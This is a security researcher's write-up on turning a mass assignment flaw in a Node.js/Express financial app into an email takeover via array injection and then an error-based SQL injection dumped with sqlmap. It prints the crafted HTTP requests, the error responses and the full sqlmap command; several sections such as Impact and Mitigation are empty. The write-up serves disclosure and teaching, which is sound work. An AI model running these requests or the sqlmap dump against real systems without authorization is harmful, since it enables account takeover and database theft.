MASS ASSIGNMENT // SQL INJECTION // DATABASE DUMP
WEB APPLICATION SECURITY

Database Dump Exploitation through Mass Assignment Vulnerability

MASS ASSIGNMENT // MYSQL ERROR-BASED SQLi // SQLMAP AUTOMATION

researcher
Naveen Jagadeesan
published
2023-07-13
platform
Node.js / Express Application

Dumping database contents through exploitation of a Mass Assignment Vulnerability.

Introduction

Mass assignment vulnerabilities, also known as over-posting vulnerabilities, occur when frameworks automatically bind user-controlled input to model properties without proper validation.

Attackers may abuse this behavior to manipulate sensitive fields that were never intended to be user-controlled.

Commonly impacted properties include:

Example Vulnerable Code


class User < ActiveRecord::Base

  attr_accessible :name, :email

end

The above implementation allows automatic assignment of specified model fields directly from user input.

Attackers may introduce unintended fields into the request payload.

Example Malicious Request


<form action="/profile" method="POST">
<input type="text" name="name" value="John Doe">
<input type="text"
name="email"
value="john@example.com">
<input type="hidden"
name="admin"
value="true">
<input type="submit" value="Update">
</form>

If the application blindly maps all submitted fields into the backend model, privilege escalation may occur.

Target Background

The target application was developed using Node.js and Express.

The platform implemented dynamic role management allowing administrators to assign business-specific roles to users.

The application primarily handled financial workflows and internal management operations.

Technology Stack

CRUD Operations

The application exposed standard Create, Read, Update, and Delete operations for user management functionality.

One of these endpoints allowed authenticated users to update their profile information.

Profile Update Request

Request


POST /editUser HTTP/2
Host: abc.com

{
  "user_Id":"2abaac0a-4af8-4101-a763-9d0229cafb12",
  "email":"naveenj@thevillagehacker.com",
  "Mobile":"9874563217",
  "role":"Analyst",
  "isActive":true
}

The frontend interface disabled direct modification of the email address field.

However the backend API still accepted the email value inside the request body.

Response


HTTP/1.1 200 OK

{
  "Success": true,
  "Message": "User details Updated"
}

Initial Protection Mechanism

Directly replacing the email address value triggered an Invalid Request Data response.

This indicated that some validation controls existed.

Bypassing the Validation

Further experimentation revealed that the application accepted array values instead of simple strings.

By supplying the email field as an array, the validation mechanism could be bypassed.

Manipulated Request


{
  "user_Id":"2abaac0a-4af8-4101-a763-9d0229cafb12",
  "email": [
    "naveenj@thevillagehacker.com",
    "attacker@thevillagehacker.com"
  ],
  "Mobile":"9874563217",
  "role":"Analyst",
  "isActive":true
}

Validation Result

The server responded successfully and updated the user record despite the malformed email structure.


HTTP/1.1 200 OK

{
  "Success": true,
  "Message": "User details Updated"
}

Verifying the Modification

The updated user information could be retrieved using the /user_detail endpoint.

Request


GET /user_detail HTTP/2
Host: abc.com

Response


{
  "user_Id":"2abaac0a-4af8-4101-a763-9d0229cafb12",
  "email":"attacker@thevillagehacker.com",
  "Mobile":"9874563217",
  "role":"Analyst",
  "isActive":true
}

The email address was successfully modified through the array injection technique.

Exploring Further

Additional testing attempted to determine whether the array handling behavior introduced SQL injection conditions.

Supplying special characters and malformed values caused the backend database engine to return syntax errors.

Error-Based SQL Injection

Request


POST /editUser HTTP/2
Host: abc.com

{
  "user_Id":"2abaac0a-4af8-4101-a763-9d0229cafb12",
  "email": [
    "naveenj@thevillagehacker.com",
    " "
  ],
  "Mobile":"9874563217",
  "role":"Analyst",
  "isActive":true
}

Response


{
  "code": 400,
  "message":"ER_PARSE_ERROR:You have an error in your SQL syntax"
}

The backend error disclosure confirmed:

SQLMAP Automation

The identified injection point was automated using SQLMAP.


python sqlmap.py \
-r request.txt \
--batch \
--dbs \
--risk 3 \
--level 4 \
--random-agent \
--tamper=between \
--proxy=http://127.0.0.1:8080

Database Dump

SQLMAP successfully extracted database information through the vulnerable endpoint.

database dump

Impact

Root Cause

Mitigation

Conclusion

Mass assignment vulnerabilities can create unexpected attack paths beyond simple privilege escalation.

In this case, improper handling of array values exposed a pathway toward SQL injection and eventual database extraction.

Applications must strictly validate object structures, types, and assignable properties before processing user input.

Thank you for reading.